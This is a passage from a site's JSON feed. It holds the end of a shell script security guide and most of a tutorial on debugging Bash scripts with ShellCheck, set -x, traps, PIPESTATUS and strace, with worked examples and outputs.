file, because the same pattern usually repeats, and add a CI check so that new instances do not arrive.</p>\n\n<h2>Defence in depth around the script</h2>\n<p>No single control is enough, so a well-run system layers them, and the script is only one layer. The operating system provides users, groups, file modes and capabilities. systemd adds sandboxing: <code>ProtectSystem</code>, <code>PrivateTmp</code>, <code>NoNewPrivileges</code>, <code>RestrictAddressFamilies</code> and a seccomp filter through <code>SystemCallFilter</code>. Mandatory access control such as AppArmor or SELinux confines what a process can open even if it is fully compromised. Network policy limits what it can reach. Monitoring watches for the behaviors that matter: a script touching files it never touched before, or a spike in failed sudo attempts.</p>\n<p>The practical consequence is a division of labor. The script validates its input and avoids dangerous constructs, which stops common mistakes. The unit or container limits the damage if a mistake slips through. The log and the alert tell a person that something unusual happened. A script with no sandbox depends on being perfect; a sandbox with no careful script depends on the sandbox being perfect. Using both lowers the odds that one overlooked quote becomes an incident.</p>\n\n<h2>A safe header for every script</h2>\n<p>Most of the controls above can be put in a short preamble that costs nothing at runtime and that you copy into new scripts, so the safe choice is the default one. It sets the strict options, fixes the path and field separator, makes new files private, and defines the helper that all failures use. Review it once, keep it in a template, and let ShellCheck and code review confirm that new scripts start from it.</p>\n<pre><code class=\"language-bash\">#!/usr/bin/env bash\nset -euo pipefail\nIFS=$'\\n\\t'\nPATH=/usr/local/bin:/usr/bin:/bin\numask 077\nunset CDPATH BASH_ENV ENV\n\ndie() { printf '%s: %s\\n' \"${0##*/}\" \"$*\" &gt;&amp;2; exit \"${2:-1}\"; }\ntmp=$(mktemp -d) || die \"cannot create a temporary directory\"\ntrap 'rm -rf -- \"$tmp\"' EXIT\n</code></pre>\n<p>Setting <code>IFS</code> to newline and tab means an accidental unquoted expansion splits only on lines, a smaller blast radius than splitting on spaces, though it is no substitute for quoting. The header does not make a script safe on its own; it removes the ambient hazards, such as the caller's environment and a loose umask, so the remaining review can concentrate on how the script treats its own input. Add the input validation and the privilege decisions on top, and the script is ready for the checklist.</p>\n\n<h2>Where this does not apply</h2>\n<p><strong>When the shell is the wrong language.</strong> A script that parses untrusted structured data, serves network requests, handles authentication or enforces a policy should not be a shell script at all. Use a language with real data types, libraries for parsing and escaping, and a testing culture. The effort to make shell safe for those jobs exceeds the effort to write them elsewhere.</p>\n<p><strong>Isolation instead of correctness.</strong> For running untrusted code, as in CI or a sandbox, careful scripting is a weak control. Use containers, VMs, seccomp, user namespaces and resource limits, and assume the script inside is hostile.</p>\n<p><strong>Scripts with no boundary.</strong> A throwaway command on your own machine with your own data does not need the full list. Apply the habits that cost nothing, such as quoting, and skip the rest.</p>\n<p><strong>Quoting alone.</strong> It is necessary and not sufficient. Option injection, arithmetic evaluation, symlink races and environment variables are not fixed by quotes, which is why the other sections exist.</p>\n<p><strong>Windows and PowerShell.</strong> The rules differ by shell. PowerShell has its own injection patterns, such as <code>Invoke-Expression</code>, and Windows file names have their own special cases.</p>\n\n<h2>What to read next</h2>\n<p>Security and testing support each other, so continue to <a href=\"/library/test-shell-scripts-bats-shellcheck\">testing shell scripts with Bats and ShellCheck</a>, where the hostile inputs above become repeatable tests. For the fundamentals behind the quoting rules, see <a href=\"/library/bash-scripting-tutorial\">the Bash scripting tutorial</a>. For SSH, the other major way scripts reach privilege, see <a href=\"/library/ssh-guide\">the SSH guide</a>, and for running scripts with limits and a sandbox, <a href=\"/library/automate-tasks-cron-systemd\">the cron and systemd timers guide</a>.</p>\n<p>Primary sources used here: the <a href=\"https://www.gnu.org/software/bash/manual/bash.html\">Bash Reference Manual</a>, the <a href=\"https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html\">POSIX Shell Command Language</a>, <a href=\"https://man7.org/linux/man-pages/man1/mktemp.1.html\">mktemp(1)</a>, <a href=\"https://www.sudo.ws/docs/man/sudoers.man/\">sudoers(5)</a>, <a href=\"https://man7.org/linux/man-pages/man1/setpriv.1.html\">setpriv(1)</a>, <a href=\"https://man7.org/linux/man-pages/man7/credentials.7.html\">credentials(7)</a>, <a href=\"https://www.freedesktop.org/software/systemd/man/latest/systemd.exec.html\">systemd.exec(5)</a>, <a href=\"https://cwe.mitre.org/data/definitions/78.html\">CWE-78 on OS command injection</a>, <a href=\"https://cwe.mitre.org/data/definitions/377.html\">CWE-377 on insecure temporary files</a> and the <a href=\"https://github.com/koalaman/shellcheck/wiki/SC2086\">ShellCheck SC2086 page</a>.</p>","date_published":"2026-11-06T06:12:19+00:00","tags":["Security"]},{"id":"https://shellhacks.dev/library/debugging-shell-scripts","url":"https://shellhacks.dev/library/debugging-shell-scripts","title":"Debugging Shell Scripts From set x All the Way to strace","summary":"Debug shell scripts from set -x and ShellCheck to traps, caller, PIPESTATUS and strace, with a real buggy script traced down to its root cause.","content_html":"<p>Debugging a shell script is the same discipline as debugging anything else: reproduce the failure, shrink it, form a hypothesis, test it and fix the cause rather than the symptom. What is different about shell is the tooling and the kinds of mistakes. The language has no compiler, so syntax errors surface only when the line is reached. Types do not exist, so a number and a filename are both strings. And the real work happens in other programs, so many failures are not in the shell code at all. This guide works through the tools in the order you should reach for them, using one real buggy script traced to its cause, on Bash 5.2.15, ShellCheck 0.9.0 and strace 6.1 in Debian 12. The scripts being debugged are written as in <a href=\"/library/bash-scripting-tutorial\">the Bash scripting tutorial</a>.</p>\n<p>The sections cover the debugging mindset, static checks, tracing with <code>set -x</code>, structured error reporting with <code>trap</code> and <code>caller</code>, the classes of bug that recur, system-level tracing with <code>strace</code>, timing and performance, and debugging scripts that run under cron, over SSH and in containers.</p>\n\n<h2>Start with a failing case you can repeat</h2>\n<p>A bug you cannot reproduce is a bug you cannot fix. Before touching the code, capture a command line, an input and an environment that make the script fail every time, and write them down as a script of their own. A small reproduction turns a vague \"it breaks sometimes\" into a test. It also tells you whether the failure depends on the input, the environment, the time or the machine, which decides where to look.</p>\n<p>Shrink the case. Remove arguments, then lines of input, then whole sections of the script, running it after each cut and keeping the cut only if the failure remains. When the failure disappears after a cut, the removed part was involved. This is bisection by hand, and it is faster than reading a long script and guessing. For failures that appear in a long pipeline, run the pipeline stage by stage and look at the output of each. For failures that depend on state, such as a file that exists on one host and not another, record that state with <code>ls -l</code>, <code>env</code> and <code>id</code> alongside the failing output.</p>\n\n<h2>The sample bug</h2>\n<p>This short script is meant to total the sizes of all log files in the current directory. It has a bug that shows up only for one kind of file name, which is how most shell bugs behave.</p>\n<pre><code class=\"language-bash\">#!/usr/bin/env bash\ncount=0\nfor f in *.log; do\n  size=$(stat -c %s $f)\n  count=$((count + size))\ndone\necho \"total: $count\"\n</code></pre>\n<p>With a directory containing <code>c.log</code> (six bytes) and an empty file named <code>a b.log</code>, the script prints this.</p>\n<pre><code class=\"language-text\">stat: cannot statx 'a': No such file or directory\nstat: cannot statx 'b.log': No such file or directory\ntotal: 6\n</code></pre>\n<p>The error mentions files called <code>a</code> and <code>b.log</code>, neither of which exists, and the total looks plausible, so the script reports a wrong answer without failing. We will use this case in each section to see what each tool shows.</p>\n\n<h2>Check syntax with bash -n</h2>\n<p><code>bash -n</code> reads the script and reports syntax errors without running any command. It catches unclosed quotes, missing <code>fi</code> or <code>done</code> and misplaced parentheses. It cannot catch anything that depends on runtime values.</p>\n<pre><code class=\"language-bash\">printf 'if true; then\\necho hi\\n' &gt; bad.sh\nbash -n bad.sh; echo \"rc=$?\"\n</code></pre>\n<pre><code class=\"language-text\">bad.sh: line 3: syntax error: unexpected end of file\nrc=2\n</code></pre>\n<p>The line number points at the end of the file because that is where Bash noticed the <code>if</code> was never closed, not where you forgot the <code>fi</code>. For an unclosed quote or a missing <code>done</code>, work backwards from the reported line to the last construct that opened a block. An editor with bracket matching and a ShellCheck plugin shows the same problems as you type. Run <code>bash -n</code> in a pre-commit hook; it takes milliseconds and prevents committing a script that cannot parse.</p>\n\n<h2>Lint with ShellCheck</h2>\n<p>ShellCheck is a static analyzer for shell. It finds the bugs that are valid syntax and wrong in practice, and it explains each in a page of the project wiki. Running it on the sample script identifies the bug before any tracing.</p>\n<pre><code class=\"language-bash\">shellcheck buggy.sh\n</code></pre>\n<pre><code class=\"language-text\">In buggy.sh line 4:\n  size=$(stat -c %s $f)\n                    ^-- SC2086 (info): Double quote to prevent globbing and word splitting.\n\nDid you mean:\n  size=$(stat -c %s \"$f\")\n</code></pre>\n<p>That is the whole diagnosis: the unquoted <code>$f</code> was split on the space, so <code>stat</code> received two arguments. ShellCheck reports severities of error, warning, info and style, and <code>-S warning</code> hides the lower ones. The codes worth knowing by heart are SC2086 (unquoted expansion), SC2046 (unquoted command substitution), SC2164 (<code>cd</code> without a guard), SC2155 (declare and assign together mask a return value), SC2181 (testing <code>$?</code> instead of the command) and SC2034 (unused variable, often a typo). Its output depends on the shell named in the shebang or given with <code>-s</code>, so a wrong shebang yields wrong advice. The tool and its checks are described on the <a href=\"https://www.shellcheck.net/wiki/\">ShellCheck wiki</a>, and <a href=\"/library/test-shell-scripts-bats-shellcheck\">the testing guide</a> shows how to run it in CI.</p>\n\n<h2>Trace with set -x</h2>\n<p>When static checks find nothing, watch the script run. <code>set -x</code> makes Bash print each command to standard error, after expansion, with a prefix. Run the whole script with <code>bash -x script.sh</code>, or turn it on for a region with <code>set -x</code> and <code>set +x</code>.</p>\n<pre><code class=\"language-bash\">bash -x buggy.sh 2&gt;&amp;1 | head -12\n</code></pre>\n<pre><code class=\"language-text\">+ count=0\n+ for f in *.log\n++ stat -c %s a b.log\nstat: cannot statx 'a': No such file or directory\nstat: cannot statx 'b.log': No such file or directory\n+ size=\n+ count=0\n+ for f in *.log\n++ stat -c %s c.log\n+ size=6\n+ count=6\n+ echo 'total: 6'\n</code></pre>\n<p>The trace shows precisely what happened. The line <code>++ stat -c %s a b.log</code> has two words after <code>%s</code>, though the loop variable held one file name, so the splitting is visible. Each plus sign is a nesting level: one for a command in the script, two for a command inside a command substitution. Note that <code>size=</code> is empty after the failure, and the next line adds nothing to the count; the script carried on because nothing stopped it. This is the main benefit of tracing: it turns an invisible expansion into a visible line.</p>\n\n<h2>Make the trace readable with PS4</h2>\n<p>The prefix is the value of the variable <code>PS4</code>, expanded for each line, so it can hold the script name, the line number, the function and the time. A longer script produces hundreds of trace lines, and a prefix that says where each came from is the difference between a usable trace and a wall of text.</p>\n<pre><code class=\"language-bash\">PS4='+ ${BASH_SOURCE##*/}:${LINENO}:${FUNCNAME[0]:-main}: '\nset -x\necho \"starting\"\n</code></pre>\n<pre><code class=\"language-text\">+ t.sh:3:main: echo starting\nstarting\n</code></pre>\n<p>Assign <code>PS4</code> inside the script, before <code>set -x</code>. In this Debian 12 container, setting <code>PS4</code> in the environment of <code>bash -x script.sh</code>, whether inline or exported, left the prefix at a plain plus sign, while the assignment within the shell took effect, so do not rely on passing it from outside. Put the assignment behind a debug switch, such as <code>[[ ${DEBUG:-} ]] &amp;&amp; { PS4=...; set -x; }</code>, so the trace turns on with <code>DEBUG=1 ./script.sh</code> and costs nothing otherwise. Add <code>$EPOCHREALTIME</code> to the prefix to get microsecond timestamps for finding slow steps.</p>\n\n<h2>Send the trace to a file</h2>\n<p>By default the trace goes to standard error, mixed with the script's own error messages and with whatever the caller does to that stream. Bash lets you redirect it to a dedicated file descriptor through <code>BASH_XTRACEFD</code>, which keeps the trace separate and complete.</p>\n<pre><code class=\"language-bash\">exec 5&gt;trace.log\nBASH_XTRACEFD=5\nset -x\necho hi\nls /nonexistent_dir\n</code></pre>\n<pre><code class=\"language-text\">hi\nls: cannot access '/nonexistent_dir': No such file or directory\n</code></pre>\n<pre><code class=\"language-text\">+ echo hi\n+ ls /nonexistent_dir\n</code></pre>\n<p>The first block is what the terminal showed and the second is the content of <code>trace.log</code>. This matters for scripts run under cron or from other programs that capture standard error, where an unsolicited trace would pollute output that something else parses. Remember that a trace prints the expanded values of every variable, so it will contain any secret that passed through a command line. Never leave tracing on in production logs; the security guide covers why in <a href=\"/library/shell-script-security\">the shell script security guide</a>.</p>\n\n<h2>Print lines as they are read with set -v</h2>\n<p><code>set -v</code> (verbose) prints each line of input as the shell reads it, before expansion. Used with <code>-x</code>, you see the original text and then the expanded command, which helps when you suspect the shell parsed a line differently from how you read it.</p>\n<pre><code class=\"language-bash\">bash -v -c 'x=1\necho \"$x\"' 2&gt;&amp;1\n</code></pre>\n<pre><code class=\"language-text\">x=1\necho \"$x\"\n1\n</code></pre>\n<p>It is most useful for here documents and multi-line constructs, and for checking which lines of a sourced file were read. For everyday work <code>-x</code> carries the information you need; reach for <code>-v</code> when the question is what the shell saw, not what it did.</p>\n\n<h2>Report failures with trap ERR</h2>\n<p>A script that fails with only an exit status is hard to diagnose, especially when it runs unattended. The <code>ERR</code> trap fires when a command fails, and inside the handler <code>$LINENO</code> and <code>$BASH_COMMAND</code> give the line and the command. Add <code>-E</code> (<code>errtrace</code>) so that functions and subshells inherit the trap.</p>\n<pre><code class=\"language-bash\">#!/usr/bin/env bash\nset -eEuo pipefail\ntrap 'echo \"failed: line $LINENO: $BASH_COMMAND (exit $?)\" &gt;&amp;2' ERR\nf() { false; }\nf\necho unreachable\n</code></pre>\n<pre><code class=\"language-text\">failed: line 4: false (exit 1)\n</code></pre>\n<p>The handler named the exact command and line, then <code>set -e</code> ended the script with status 1. Put this in a shared header for every script you run unattended and the next failure explains itself in the log. Capture <code>$?</code> as the first thing the handler does, because any command in the handler resets it. The trap fires only for failures that <code>set -e</code> would act on, so the exceptions of <code>-e</code> (conditions, <code>&amp;&amp;</code> lists, and the like) are exceptions here too.</p>\n\n<h2>Print a stack with caller</h2>\n<p>The <code>caller</code> builtin prints the line, function and file of a call at a given depth in the call stack. Looping over increasing depths prints a full stack trace, which is invaluable once a script is split into functions and the failing line is three calls deep.</p>\n<pre><code class=\"language-bash\">trace() { local i=0; while caller \"$i\"; do (( i++ )); done; }\na() { b; }\nb() { trace; }\na\n</code></pre>\n<pre><code class=\"language-text\">4 b trace.sh\n3 a trace.sh\n5 main trace.sh\n</code></pre>\n<p>Each row is the line number, the function name and the file: <code>b</code> was called from line 4, <code>a</code> from line 3, and <code>main</code> at line 5 made the first call. Call this from your ERR handler to turn \"failed at line 42\" into the path that led there. Related arrays are available directly: <code>FUNCNAME</code>, <code>BASH_SOURCE</code> and <code>BASH_LINENO</code> hold the names, files and lines of the active call stack, in the order innermost first.</p>\n\n<h2>Step through with the DEBUG trap</h2>\n<p>The <code>DEBUG</code> trap runs before each simple command. It is the closest thing the shell has to single-stepping, and with a handler that pauses for input it gives you an interactive stepper in a few lines.</p>\n<pre><code class=\"language-bash\">trap 'echo \"[$LINENO] $BASH_COMMAND\"' DEBUG\nx=1\ny=2\n</code></pre>\n<pre><code class=\"language-text\">[2] x=1\n[3] y=2\n</code></pre>\n<pre><code class=\"language-bash\">trap 'read -r -p \"[$LINENO] $BASH_COMMAND &gt; \" _ &lt; /dev/tty' DEBUG\n</code></pre>\n<p>The second handler waits for Enter before each command, reading from the terminal so it does not consume the script's own input. Combine it with <code>shopt -s extdebug</code> for finer control. For a full debugger with breakpoints there is <code>bashdb</code>, but it is rarely installed and ties you to a specific Bash version; most problems yield to <code>set -x</code> and the traps above.</p>\n\n<h2>Pipelines and PIPESTATUS</h2>\n<p>The exit status of a pipeline is that of its last command, so a failure earlier in the chain disappears. Bash records every stage's status in the array <code>PIPESTATUS</code>, which you must read immediately, before running another command.</p>\n<pre><code class=\"language-bash\">false | true | false; echo \"${PIPESTATUS[@]}\"\nbash -c 'false | true; echo \"${PIPESTATUS[*]}\"'\n</code></pre>\n<pre><code class=\"language-text\">1 0 1\n1 0\n</code></pre>\n<p>With <code>set -o pipefail</code> the pipeline fails if any stage does, but you lose the detail of which one, and some stages legitimately exit non-zero, such as <code>grep</code> finding nothing or a producer killed by SIGPIPE (status 141) when <code>head</code> closes the pipe early. When debugging, print <code>PIPESTATUS</code> after the pipeline in question. Split long pipelines into steps writing to temporary files to look at each intermediate result; it is slower, and it removes guesswork.</p>\n\n<h2>Variables that vanish in subshells</h2>\n<p>A frequent puzzle is a variable that is set in a loop and empty afterwards. Pipelines, command substitutions and parentheses run in subshells, whose changes are lost when they end.</p>\n<pre><code class=\"language-bash\">n=0\necho x | { n=5; }\necho \"n=$n\"\n</code></pre>\n<pre><code class=\"language-text\">n=0\n</code></pre>\n<p>To find it, add <code>echo \"$BASHPID $$\"</code> at the top of the suspect region: <code>$$</code> stays the main shell's PID in subshells, while <code>$BASHPID</code> changes, so differing values prove a subshell. The fix is to avoid the pipe, with a redirection from a file or process substitution, or to enable <code>shopt -s lastpipe</code> where job control is off. A related symptom is a variable that works in the shell but is empty in a child process, which means it was never <code>export</code>ed.</p>\n<pre><code class=\"language-bash\">V=1; bash -c 'echo \"[$V]\"'\nexport V; bash -c 'echo \"[$V]\"'\n</code></pre>\n<pre><code class=\"language-text\">[]\n[1]\n</code></pre>\n\n<h2>Exit codes that mislead</h2>\n<p>An exit status can tell you where to look, if you know the conventions. 0 is success. 1 is a general error, and tools use it for their own purposes. 2 usually means misuse of the command. 126 means the file exists but cannot be executed: a missing executable bit, a directory, or a binary for another architecture. 127 means the command or interpreter was not found. Values above 128 mean a signal: 130 is SIGINT, 137 is SIGKILL (often the out-of-memory killer), and 143 is SIGTERM.</p>\n<pre><code class=\"language-bash\">./crlf.sh; echo \"rc=$?\"\n./ns.sh; echo \"rc=$?\"\nbash -c 'exit 7'; echo \"rc=$?\"\ndmesg 2&gt;/dev/null | grep -i 'killed process' | tail -2\n</code></pre>\n<pre><code class=\"language-text\">bash: line 59: ./crlf.sh: cannot execute: required file not found\n</code></pre>\n<p>The first message is the classic symptom of Windows line endings: the shebang is read as <code>#!/bin/bash</code> followed by a carriage return, so the kernel looks for an interpreter literally named with that character and reports that a required file was not found. The script file exists and the interpreter exists, which is why the message confuses people. Convert the file with <code>tr -d '\\r' &lt; in &gt; out</code> or <code>dos2unix</code>, and prevent it with a <code>.gitattributes</code> rule. A script with no shebang at all runs, but under whatever shell the caller used to start it, which is a common cause of \"different results from different launchers\".</p>\n\n<h2>Where set -e does not help</h2>\n<p><code>set -e</code> is no substitute for debugging because it has gaps that hide the failing command. A function called in a condition runs with <code>-e</code> disabled, so errors inside it do not stop it.</p>\n<pre><code class=\"language-bash\">set -e; f() { false; echo after; }; f &amp;&amp; echo ok\n</code></pre>\n<pre><code class=\"language-text\">after\nok\n</code></pre>\n<p>The <code>false</code> failed and execution went on, because the function sat on the left of <code>&amp;&amp;</code>. Another trap is <code>local x=$(cmd)</code>, where the exit status of <code>local</code>, always 0, replaces the status of the substitution.</p>\n<pre><code class=\"language-bash\">f() { local x=$(false); echo \"rc=$?\"; }; f\ng() { local x; x=$(false); echo \"rc=$?\"; }; g\n</code></pre>\n<pre><code class=\"language-text\">rc=0\nrc=1\n</code></pre>\n<p>Declare and assign on separate lines whenever the status matters; ShellCheck reports this as SC2155. When a script keeps going after a visible error, check these two before anything else.</p>\n\n<h2>Loops that stop after one iteration</h2>\n<p>A loop that reads lines and runs <code>ssh</code> or another command that reads standard input will stop after the first line, because the command consumes the rest of the input.</p>\n<pre><code class=\"language-bash\">printf 'h1\\nh2\\nh3\\n' &gt; hosts\nwhile read -r h; do cat &gt;/dev/null; echo \"got $h\"; done &lt; hosts\n</code></pre>\n<pre><code class=\"language-text\">got h1\n</code></pre>\n<p>Here <code>cat</code> swallowed the remaining two lines, as <code>ssh</code> would. Give the command its own input: <code>ssh -n</code>, or <code>&lt; /dev/null</code> on the command, or read the list with a different file descriptor using <code>while read -r h &lt;&amp;3; do ...; done 3&lt; hosts</code>. The symptom, a loop that runs once with no error, is easy to recognize once seen and easy to spend an hour on if not.</p>\n\n<h2>Glob and word-splitting bugs</h2>\n<p>Many failures reduce to the shell's expansion rules. When a command behaves as if it received the wrong arguments, print them exactly. A tiny function that echoes each argument in brackets shows the real word boundaries.</p>\n<pre><code class=\"language-bash\">args() { printf '[%s]\\n' \"$@\"; }\nx=\"a b\"\nargs $x\nargs \"$x\"\ndeclare -p x\n</code></pre>\n<pre><code class=\"language-text\">[a]\n[b]\n[a b]\ndeclare -- x=\"a b\"\n</code></pre>\n<p>Use it in place of the suspect command to see what it would receive. <code>declare -p</code> prints a variable with its attributes in a form that shows hidden characters, quotes and array structure, which beats <code>echo</code> for finding a trailing space or an array that is really a string. For unprintable characters in a value, <code>printf '%q'</code> and <code>od -c</code> reveal them, such as the carriage return left by a file with Windows line endings.</p>\n\n<h2>Find which command is really running</h2>\n<p>A command may not be the one you think it is. An alias, a function or an earlier directory on <code>PATH</code> can shadow it, and a script runs with different aliases and a different <code>PATH</code> from your interactive shell. <code>type -a</code> lists every candidate in the order the shell would pick, and <code>command -v</code> prints the one that wins.</p>\n<pre><code class=\"language-bash\">type -a ls\ncommand -v python3\nhash -r\n</code></pre>\n<pre><code class=\"language-text\">ls is /usr/bin/ls\nls is /bin/ls\n</code></pre>\n<p>The shell caches the location of commands it has run, so after installing or moving a program, <code>hash -r</code> clears the cache; a stale cache explains \"command not found\" for a program that is plainly present. In a script, print the resolved path and the version of every tool it depends on at startup in debug mode. A surprising number of \"bugs\" turn out to be a different version of <code>sed</code>, <code>date</code> or <code>grep</code> on the machine where it failed.</p>\n\n<h2>Reproduce under the failing environment</h2>\n<p>Many scripts work interactively and fail under cron, a systemd unit, a CI runner or <code>ssh host command</code>, because the environment differs. Reproduce the failure by running the script in an environment that is as bare as the failing one.</p>\n<pre><code class=\"language-bash\">env -i HOME=\"$HOME\" PATH=/usr/bin:/bin /usr/local/bin/backup.sh\nenv -i bash --noprofile --norc ./script.sh\nssh host 'env | sort' &gt; remote-env.txt\ndiff &lt;(env | sort) remote-env.txt\n</code></pre>\n<p><code>env -i</code> clears the whole environment, so anything the script silently relied on, such as a tool in <code>/usr/local/bin</code> or a variable set in <code>~/.bashrc</code>, is now missing, and the error appears. Comparing the working and failing environments with <code>diff</code> shows the difference directly. Also compare the working directory, the user, the umask, the locale and whether standard input is a terminal: <code>[[ -t 0 ]]</code> is false under cron, and scripts that prompt then hang or fail. The scheduler-specific differences are described in <a href=\"/library/automate-tasks-cron-systemd\">the guide to cron and systemd timers</a>.</p>\n\n<h2>When the problem is outside the shell: strace</h2>\n<p>If the shell code looks right and a command still fails, the cause is often in how the programs interact with the system: a file that is not where it should be, a permission refusal, a library that cannot load, a network call that hangs. <code>strace</code> records the system calls a process makes, and with <code>-f</code> it follows the children, which for a shell script means every command it runs.</p>\n<pre><code class=\"language-bash\">strace -f -e trace=execve,openat -o st.txt bash slow.sh\ngrep -E 'execve|nonexistent' st.txt | cut -c1-120\n</code></pre>\n<pre><code class=\"language-text\">147   execve(\"/usr/bin/bash\", [\"bash\", \"slow.sh\"], 0xffffd4ec3810 /* 8 vars */) = 0\n148   execve(\"/usr/bin/cat\", [\"cat\", \"/etc/hostname\"], 0xaaaaf46bf3e0 /* 8 vars */) = 0\n149   execve(\"/usr/bin/ls\", [\"ls\", \"/nonexistent\"], 0xaaaaf46c22b0 /* 8 vars */) = 0\n150   execve(\"/usr/bin/grep\", [\"grep\", \"-q\", \"root\", \"/etc/passwd\"], 0xaaaaf46c22b0 /* 8 vars */) = 0\n</code></pre>\n<p>Each line begins with the process ID, so you can see which child ran which command, with the exact arguments after expansion and the exact path chosen from <code>PATH</code>. This is a definitive answer to \"which program ran and with what\", independent of anything the shell prints. Restrict the trace with <code>-e trace=</code> to the calls you care about or the output is overwhelming. The manual is <a href=\"https://man7.org/linux/man-pages/man1/strace.1.html\">strace(1)</a>. In containers, tracing requires the <code>SYS_PTRACE</code> capability and often a relaxed seccomp profile, as it did for these examples.</p>\n\n<h2>Find a missing file with strace</h2>\n<p>When a program reports a vague failure, a trace of file opens shows precisely which path it tried and what the kernel answered. An <code>ENOENT</code> means the path does not exist, <code>EACCES</code> means permission denied.</p>\n<pre><code class=\"language-bash\">strace -f -e trace=openat bash -c 'cat /etc/missing.conf' 2&gt;&amp;1 | grep -E 'missing|ENOENT'\n</code></pre>\n<pre><code class=\"language-text\">openat(AT_FDCWD, \"/etc/missing.conf\", O_RDONLY) = -1 ENOENT (No such file or directory)\ncat: /etc/missing.conf: No such file or directory\n</code></pre>\n<p>The same technique finds which configuration file a tool actually reads out of several candidates, which library it fails to load, and which socket it tried to connect to. For a program with a long list of attempts, filter on <code>ENOENT\\|EACCES</code>. The absence of an expected <code>openat</code> is informative too: if the program never tries to open your config file, the problem is how it is told where the file is, not what the file contains.</p>\n\n<h2>Diagnose a hang</h2>\n<p>A script that hangs is waiting on something. Attach to the stuck process, or the one under it, and see which system call it sits in. First find the deepest child with <code>pstree -p</code>, then trace it. A process blocked in <code>read</code> on descriptor 0 is waiting for input; one in <code>wait4</code> is waiting for a child; one in <code>connect</code> or <code>recvfrom</code> is waiting on the network; one in <code>futex</code> is waiting on a lock or thread.</p>\n<pre><code class=\"language-bash\">pstree -p \"$(pgrep -f stuck.sh | head -1)\"\nsudo strace -p 4242 -f -tt\nls -l /proc/4242/fd\ncat /proc/4242/wchan; echo\n</code></pre>\n<pre><code class=\"language-text\">171   05:58:40.256267 wait4(-1,  &lt;unfinished ...&gt;\n172   05:58:40.256522 execve(\"/usr/bin/sleep\", [\"sleep\", \"1\"], 0xaaab0df644b0 /* 8 vars */) = 0\n172   05:58:41.259335 +++ exited with 0 +++\n171   05:58:41.259389 &lt;... wait4 resumed&gt;[{WIFEXITED(s) &amp;&amp; WEXITSTATUS(s) == 0}], 0, NULL) = 172\n</code></pre>\n<p>The timestamps from <code>-tt</code> show the parent shell waiting a full second in <code>wait4</code> while a child ran <code>sleep 1</code>, which is a complete account of where the time went. <code>/proc/PID/fd</code> lists what the process has open, which reveals a pipe whose other end nobody is reading, a classic deadlock. A hang at the very start of an unattended script is very often an interactive prompt, from <code>sudo</code>, <code>ssh</code> asking about a host key or <code>apt</code> asking to continue, waiting for input from a terminal that does not exist.</p>\n\n<h2>Count the work: strace -c</h2>\n<p>The summary mode counts system calls and the time in each, which locates cost without reading a trace. A script that is slow because it starts too many processes shows up as a large count of <code>execve</code> and <code>clone</code>.</p>\n<pre><code class=\"language-bash\">strace -c -f -o summary.txt bash slow.sh\nhead -8 summary.txt\n</code></pre>\n<pre><code class=\"language-text\">% time     seconds  usecs/call     calls    errors syscall\n------ ----------- ----------- --------- --------- ----------------\n 58.45    0.004132         688         6         3 wait4\n  5.52    0.000390           9        43           mmap\n  4.51    0.000319          79         4           execve\n  4.05    0.000286           5        55        12 newfstatat\n  3.03    0.000214          71         3           clone\n  2.65    0.000187           7        24           mprotect\n</code></pre>\n<p>This three-line script ran four <code>execve</code> calls: bash itself and one for each of <code>cat</code>, <code>ls</code> and <code>grep</code>. Scaled up, a loop over ten thousand lines that calls <code>grep</code> or <code>sed</code> on each line would show forty thousand. The remedy is to replace the loop's subprocesses with shell builtins or to process all the input in a single <code>awk</code>, as discussed in <a href=\"/library/grep-sed-awk-guide\">the grep, sed and awk guide</a>. The wait time is mostly the parent waiting for children, so look at the counts and the errors, not just the percentages.</p>\n\n<h2>Measure time inside the script</h2>\n<p>Before optimizing, measure. The shell keyword <code>time</code> reports real, user and system time for a command or a block. To find which section of a script is slow, record timestamps at key points, using the builtin <code>EPOCHREALTIME</code> (Bash 5.0 and later) which avoids starting <code>date</code>.</p>\n<pre><code class=\"language-bash\">time (for i in $(seq 1 2000); do /bin/true; done)\ntime (for i in $(seq 1 2000); do :; done)\nt0=$EPOCHREALTIME\n./step-one.sh\nt1=$EPOCHREALTIME\nprintf 'step one: %.3fs\\n' \"$(echo \"$t1 - $t0\" | bc -l)\"\n</code></pre>\n<pre><code class=\"language-text\">real\t0m0.623s\nreal\t0m0.003s\n</code></pre>\n<p>Starting <code>/bin/true</code> two thousand times cost 0.62 seconds in the container, while the same loop with the builtin <code>:</code> cost 3 milliseconds: roughly 300 microseconds per process, about two hundred times the cost of a builtin. That ratio explains most shell performance problems. When the numbers are noisy, repeat the measurement and take the minimum. Time the whole script from outside as well, with <code>time ./script.sh</code>, so you do not optimize something that is a tiny share of the total.</p>\n\n<h2>Put debug support into the script</h2>\n<p>Make the script help you debug itself. A <code>DEBUG</code> or <code>-v</code> switch should turn on tracing and verbose logging without code changes. A <code>--dry-run</code> option should print the destructive commands instead of running them. Log with levels to standard error, so that standard output carries only results. And assert the assumptions that the script relies on, early, with clear messages.</p>\n<pre><code class=\"language-bash\">: \"${DRY_RUN:=0}\" \"${DEBUG:=0}\"\n(( DEBUG )) &amp;&amp; { PS4='+ ${BASH_SOURCE##*/}:${LINENO}: '; set -x; }\n\nrun() {\n  if (( DRY_RUN )); then\n    printf 'DRY: %q ' \"$@\"; printf '\\n'\n  else\n    \"$@\"\n  fi\n}\nlog() { printf '%s [%s] %s\\n' \"$(date +%T)\" \"$1\" \"${*:2}\" &gt;&amp;2; }\nneed() { command -v \"$1\" &gt;/dev/null || { log ERROR \"missing: $1\"; exit 127; }; }\n\nneed rsync\nrun rsync -a --delete -- \"$src/\" \"$dest/\"\n</code></pre>\n<pre><code class=\"language-text\">$ DRY_RUN=1 ./sync.sh\nDRY: rsync -a --delete -- /srv/site/ /backup/site/\n</code></pre>\n<p>The <code>%q</code> format prints each argument quoted so you can paste the line into a shell and get exactly what the script would have run. A dry run is also the safest way to test a change to a destructive script. Keep the debug code in the script permanently; it is cheap and it will be needed again.</p>\n\n<h2>Debug scripts over SSH and in containers</h2>\n<p>A remote command runs with a non-interactive shell that reads no profile, so its environment differs from your login. To debug, run the same command with tracing on the remote side and capture both streams. A containerized script has another set of differences: a minimal image may lack the tool, use a different shell as <code>sh</code>, or run as a different user.</p>\n<pre><code class=\"language-bash\">ssh host 'bash -x /opt/app/deploy.sh' 2&gt;&amp;1 | tee deploy-trace.txt\nssh host 'echo \"$PATH\"; command -v node; id'\ndocker run --rm -it --entrypoint sh myimage -c 'id; echo \"$PATH\"; command -v 